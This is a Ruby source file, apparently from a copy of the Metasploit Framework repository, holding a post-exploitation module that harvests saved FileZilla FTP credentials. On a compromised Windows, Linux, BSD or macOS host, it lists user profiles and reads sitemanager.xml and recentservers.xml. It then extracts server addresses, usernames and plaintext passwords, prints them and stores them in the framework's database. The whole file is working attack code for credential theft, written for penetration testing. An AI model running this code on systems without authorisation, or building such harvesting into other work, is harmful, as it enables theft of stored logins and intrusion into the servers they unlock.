Files
metasploit-gs/modules/post/multi/gather/filezilla_client_cred.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

258 lines
6.3 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather FileZilla FTP Client Credential Collection',
'Description' => %q{ This module will collect credentials from the FileZilla FTP client if it is installed. },
'License' => MSF_LICENSE,
'Author' =>
[
'bannedit', # post port, added support for shell sessions
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
],
'Version' => '$Revision$',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'SessionTypes' => ['shell', 'meterpreter' ]
))
end
def run
paths = []
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_unix
when /win/
profiles = grab_user_profiles()
profiles.each do |user|
next if user['AppData'] == nil
fzdir = check_filezilla(user['AppData'])
paths << fzdir if fzdir
end
else
print_error "Unsupported platform #{session.platform}"
return
end
if paths.nil? or paths.empty?
print_status("No users found with a FileZilla directory")
return
end
get_filezilla_creds(paths)
end
def enum_users_unix
if @platform == :osx
home = "/Users/"
else
home = "/home/"
end
if got_root?
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
userdirs << "/root\n"
else
userdirs = session.shell_command("ls #{home}#{whoami}/.filezilla")
if userdirs =~ /No such file/i
return
else
print_status("Found FileZilla Client profile for: #{whoami}")
return ["#{home}#{whoami}/.filezilla"]
end
end
paths = Array.new
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = "#{home}#{dir}" if dir !~ /root/
print_status("Checking for FileZilla Client profile in: #{dir}")
stat = session.shell_command("ls #{dir}/.filezilla/sitemanager.xml")
next if stat =~ /No such file/i
paths << "#{dir}/.filezilla"
end
return paths
end
def check_filezilla(filezilladir)
print_status("Checking for Filezilla directory in: #{filezilladir}")
session.fs.dir.foreach(filezilladir) do |dir|
if dir =~ /FileZilla/
print_status("Found #{filezilladir}\\#{dir}")
return "#{filezilladir}\\#{dir}"
end
end
return nil
end
def get_filezilla_creds(paths)
sitedata = ""
recentdata = ""
creds = []
paths.each do |path|
print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")
if session.type == "shell"
type = :shell
sites = session.shell_command("cat #{path}/sitemanager.xml")
recents = session.shell_command("cat #{path}/recentservers.xml")
print_status("recents: #{recents}")
creds = [parse_accounts(sites)]
creds << parse_accounts(recents) unless recents =~ /No such file/i
else
type = :meterp
sitexml = "#{path}\\sitemanager.xml"
present = session.fs.file.stat(sitexml) rescue nil
if present
sites = session.fs.file.new(sitexml, "rb")
until sites.eof?
sitedata << sites.read
end
sites.close
print_status("Parsing sitemanager.xml")
creds = [parse_accounts(sitedata)]
else
print_status("No saved connections where found")
end
recent_file = "#{path}\\recentservers.xml"
recent_present = session.fs.file.stat(recent_file) rescue nil
if recent_present
recents = session.fs.file.new(recent_file, "rb")
until recents.eof?
recentdata << recents.read
end
recents.close
print_status("Parsing recentservers.xml")
creds << parse_accounts(recentdata)
else
print_status("No recent connections where found.")
end
end
creds.each do |cred|
cred.each do |loot|
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_auth_info(
:host => loot['host'],
:port => loot['port'],
:sname => 'ftp',
:source_id => source_id,
:source_type => "exploit",
:user => loot['user'],
:pass => loot['password'])
end
end
end
end
def parse_accounts(data)
creds = []
doc = REXML::Document.new(data).root rescue nil
return [] if doc.nil?
doc.elements.to_a("//Server").each do |sub|
account = {}
account['host'] = sub.elements['Host'].text rescue "<unknown>"
account['port'] = sub.elements['Port'].text rescue "<unknown>"
case sub.elements['Logontype'].text
when "0"
account['logontype'] = "Anonymous"
when /1|4/
account['user'] = sub.elements['User'].text rescue "<unknown>"
account['password'] = sub.elements['Pass'].text rescue "<unknown>"
when /2|3/
account['user'] = sub.elements['User'].text rescue "<unknown>"
account['password'] = "<blank>"
end
if account['user'].nil?
account['user'] = "<blank>"
end
if account['password'].nil?
account['password'] = "<blank>"
end
case sub.elements['Protocol'].text
when "0"
account['protocol'] = "FTP"
when "1"
account['protocol'] = "SSH"
when "3"
account['protocol'] = "FTPS"
when "4"
account['protocol'] = "FTPES"
end
creds << account
print_status(" Collected the following credentials:")
print_status(" Server: %s:%s" % [account['host'], account['port']])
print_status(" Protocol: %s" % account['protocol'])
print_status(" Username: %s" % account['user'])
print_status(" Password: %s" % account['password'])
print_line("")
end
return creds
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else # unix, bsd, linux, osx
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
if @platform == :windows
session.fs.file.expand_path("%USERNAME%")
else
session.shell_command("whoami").chomp
end
end
end